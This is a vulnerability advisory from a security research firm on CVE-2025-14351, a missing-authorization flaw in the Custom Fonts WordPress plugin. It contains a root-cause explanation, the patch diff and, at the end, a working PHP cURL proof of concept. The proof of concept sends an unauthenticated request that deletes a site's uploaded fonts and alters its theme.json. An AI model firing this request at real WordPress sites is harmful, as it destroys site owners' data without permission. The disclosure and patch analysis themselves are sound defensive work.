Atomic Edge analysis of CVE-2025-14351:
This vulnerability is a Missing Authorization flaw in the Custom Fonts WordPress plugin. It allows unauthenticated attackers to trigger a font directory deletion and theme.json rewrite, leading to data loss. The vulnerability affects all plugin versions up to and including 2.1.16.
Atomic Edge research identifies the root cause in the `__construct` method of the `BCF_Google_Fonts_Compatibility` class. The constructor executed destructive file system operations without any capability or nonce verification. The vulnerable code path is in the file `custom-fonts/includes/class-bcf-google-fonts-compatibility.php`. The constructor ran on every page load, checking for the `page` GET parameter matching `BSF_CUSTOM_FONTS_ADMIN_PAGE`. If this condition passed, the method proceeded to delete the fonts folder and call `self::delete_all_theme_font_family()`.
Exploitation requires an attacker to send a single HTTP GET request to any WordPress page where the plugin is active. The request must include the query parameter `page` set to `bsf-custom-fonts`. No authentication, nonce, or other parameters are required. The attack vector is low-complexity, as the vulnerable code triggers immediately upon meeting the condition in the constructor.
The patch in version 2.1.17 restructures the logic. The destructive operations are moved from the constructor to a new method, `maybe_rebuild_fonts()`. This method is hooked to `admin_init`. The patch adds three critical security checks. It verifies the new `bcf_rebuild_fonts` GET parameter, checks the user capability with `current_user_can(‘manage_options’)`, and validates a nonce with `wp_verify_nonce`. The patch also adds a safe redirect after the operation. The before behavior allowed unauthenticated triggering. The after behavior restricts the function to authenticated administrators with a valid nonce.
Successful exploitation results in unauthorized data loss. The `bcf_filesystem()` call deletes the entire `wp-content/uploads/bsf-custom-fonts/` directory. The `self::delete_all_theme_font_family()` and `update_fse_theme_json()` methods modify or delete the active theme’s `theme.json` file. This can break site appearance and functionality, requiring restoration from backups.
--- a/custom-fonts/custom-fonts.php
+++ b/custom-fonts/custom-fonts.php
@@ -6,7 +6,7 @@
* Author: Brainstorm Force
* Author URI: http://www.brainstormforce.com
* Text Domain: custom-fonts
- * Version: 2.1.16
+ * Version: 2.1.17
*
* @package Bsf_Custom_Fonts
*/
@@ -25,7 +25,7 @@
define( 'BSF_CUSTOM_FONTS_BASE', plugin_basename( BSF_CUSTOM_FONTS_FILE ) );
define( 'BSF_CUSTOM_FONTS_DIR', plugin_dir_path( BSF_CUSTOM_FONTS_FILE ) );
define( 'BSF_CUSTOM_FONTS_URI', plugins_url( '/', BSF_CUSTOM_FONTS_FILE ) );
-define( 'BSF_CUSTOM_FONTS_VER', '2.1.16' );
+define( 'BSF_CUSTOM_FONTS_VER', '2.1.17' );
define( 'BSF_CUSTOM_FONTS_POST_TYPE', 'bsf_custom_fonts' );
define( 'BSF_CUSTOM_FONTS_ADMIN_PAGE', 'bsf-custom-fonts' );
--- a/custom-fonts/includes/class-bcf-google-fonts-compatibility.php
+++ b/custom-fonts/includes/class-bcf-google-fonts-compatibility.php
@@ -86,10 +86,33 @@
* @since 2.0.0
*/
public function __construct() {
+ add_action( 'admin_init', array( $this, 'maybe_rebuild_fonts' ), 10 );
+ }
+
+ /**
+ * Handle font rebuild operation with security checks.
+ *
+ * @return void
+ * @since 2.1.17
+ */
+ public function maybe_rebuild_fonts() {
if ( empty( $_GET['page'] ) || BSF_CUSTOM_FONTS_ADMIN_PAGE !== $_GET['page'] ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended
return;
}
+ if ( ! isset( $_GET['bcf_rebuild_fonts'] ) ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended
+ return;
+ }
+
+ // Security: Capability and nonce checks.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_die( esc_html__( 'You do not have permission to perform this action.', 'custom-fonts' ), 403 );
+ }
+
+ if ( ! isset( $_GET['bcf_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['bcf_nonce'] ) ), 'bcf_google_fonts_rebuild' ) ) {
+ wp_die( esc_html__( 'Security check failed. Please try again.', 'custom-fonts' ), 403 );
+ }
+
$bcf_filesystem = bcf_filesystem();
$fonts_folder_path = $this->get_fonts_folder();
@@ -98,7 +121,18 @@
}
self::delete_all_theme_font_family();
- add_action( 'admin_init', array( $this, 'update_fse_theme_json' ) );
+ $this->update_fse_theme_json();
+
+ $redirect_url = add_query_arg(
+ array(
+ 'page' => BSF_CUSTOM_FONTS_ADMIN_PAGE,
+ 'fonts_rebuilt' => '1',
+ ),
+ admin_url( 'themes.php' )
+ );
+
+ wp_safe_redirect( $redirect_url );
+ exit;
}
/**
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14351 - Custom Fonts – Host Your Fonts Locally <= 2.1.16 - Missing Authorization to Unauthenticated Font Deletion
<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com/';
// The exploit only requires the 'page' GET parameter to be set to the admin page slug.
// The plugin's vulnerable constructor runs on any page request meeting this condition.
$exploit_url = $target_url . '?page=bsf-custom-fonts';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200) {
echo "[*] Request sent. The font directory and theme.json may have been deleted.n";
echo "[*] Note: The site may return a normal page. The destructive action occurs server-side.n";
} else {
echo "[!] Request failed with HTTP code: $http_coden";
}
?>